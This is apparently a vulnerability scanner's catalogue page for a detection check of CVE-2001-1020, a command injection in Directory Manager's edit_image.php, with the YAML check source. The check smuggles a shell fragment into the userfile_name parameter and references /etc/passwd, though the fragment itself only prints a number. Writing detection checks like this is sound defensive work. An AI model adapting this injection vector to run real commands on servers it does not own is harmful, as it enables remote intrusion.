Directory Manager — 1 vulnerability check

noctis ships 1 vulnerability check for Directory Manager, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Directory Manager edit_image.php command execution

CVECVE-2001-1020
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/directory-manager/CVE-2001-1020.yaml

Detects the command injection in Vibechild Directory Manager before 0.91, where the userfile_name parameter of edit_image.php reaches the PHP passthru() function without filtering. The test requests edit_image.php with a shell fragment that makes the shell print the product of two random integers; the product appears nowhere in the request, so finding it in the reply proves the command ran. The script is looked up at the web root and in the usual install directories. The command only computes and prints a number; nothing is written on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{item}}/edit_image.php?dn=1&userfile=/etc/passwd&userfile_name=%20;echo%20%24%28%28{…, for each of 5 values
  3. Parses / computes the next value with a Rhai script
  4. Checks vprobe for ^CMD_EXECUTED$ → finding QoD 97: Directory Manager edit_image.php runs shell commands from userfile_name — CVE-2001-1020

References:

Feed source — tests/vulnerabilities/directory-manager/CVE-2001-1020.yaml
# Vibechild Directory Manager < 0.91 — edit_image.php sends the userfile_name
# parameter unfiltered to the PHP passthru() function (CVE-2001-1020), so shell
# metacharacters run commands with the web server's rights.
#
# Detection (benign, no write): GET /edit_image.php?dn=1&userfile=/etc/passwd&userfile_name=%20;echo $((A*B));%20
# with two random integers. The shell prints the product, which the request
# does not contain: seeing it in the reply proves the ";" reached the shell
# (QoD 97). Raw tcp_connect keeps the encoded bytes verbatim.
#
# Improvements over the source NASL (greps the output of "id" for
# uid=..gid=.., a pattern a page quoting the request or an id dump also holds):
#   - arithmetic result computed by the shell, absent from the request;
#   - the application is also looked up in the usual install sub-directories;
#   - the matched page never reaches the finding (fixed verdict string).
#
# Ported from OpenVAS/Greenbone NVT 2008/directory_manager.nasl (GPL-2.0-only).
uid: 47aa1de9-8d84-4e4a-9af2-d5447b3daa0a
name: "Directory Manager edit_image.php command execution (CVE-2001-1020)"
description: |
  Detects the command injection in Vibechild Directory Manager before 0.91,
  where the userfile_name parameter of edit_image.php reaches the PHP
  passthru() function without filtering. The test requests edit_image.php
  with a shell fragment that makes the shell print the product of two random
  integers; the product appears nowhere in the request, so finding it in the
  reply proves the command ran. The script is looked up at the web root and in
  the usual install directories. The command only computes and prints a
  number; nothing is written on the server.
cves: [CVE-2001-1020]
cvss: 7.5  # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: rce
confidence_base: 0.30
tags: [directory-manager, php, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-1020"
  # OpenVAS/Greenbone NASL 2008/directory_manager.nasl (GPL-2.0-only)

steps:
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(10007, 99991);
      let b = rand_int(101, 997);
      #{ expr: a + "*" + b, prod: "" + (a * b) }
    store_as: sc

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {connected: false, banner: ""}

  - id: run-probe   # loop group: run-probe, verdict, confirmed run once per install dir
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{item}}/edit_image.php?dn=1&userfile=/etc/passwd&userfile_name=%20;echo%20%24%28%28{{sc.expr}}%29%29;%20 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: probe
    loop:
      var: item
      over: ["", "/directory_manager", "/directorymanager", "/dm", "/directory"]

  - id: verdict
    action: script
    code: |
      let v = "";
      if type_of(probe.banner) == "string" && ereg("(^|[^0-9])" + sc.prod + "([^0-9]|$)", probe.banner) { v = "CMD_EXECUTED"; }
      v
    store_as: vprobe

  - id: confirmed
    action: match
    source: vprobe
    pattern: '^CMD_EXECUTED$'
    on_match:
      finding:
        title: "Directory Manager edit_image.php runs shell commands from userfile_name — CVE-2001-1020"
        description: "edit_image.php with userfile_name carrying ;echo $(({{sc.expr}})); made the shell evaluate the expression and the reply contained the product {{sc.prod}}, which the request does not contain. A remote user can run arbitrary commands with the rights of the web server."
        remediation: "Upgrade Directory Manager to 0.91 or later, or remove the application."
        confidence_delta: 0.65
        qod: 97
        evidence: "edit_image.php userfile_name echo $(({{sc.expr}})) returned {{sc.prod}}"
      stop: true

View these feeds on GitHub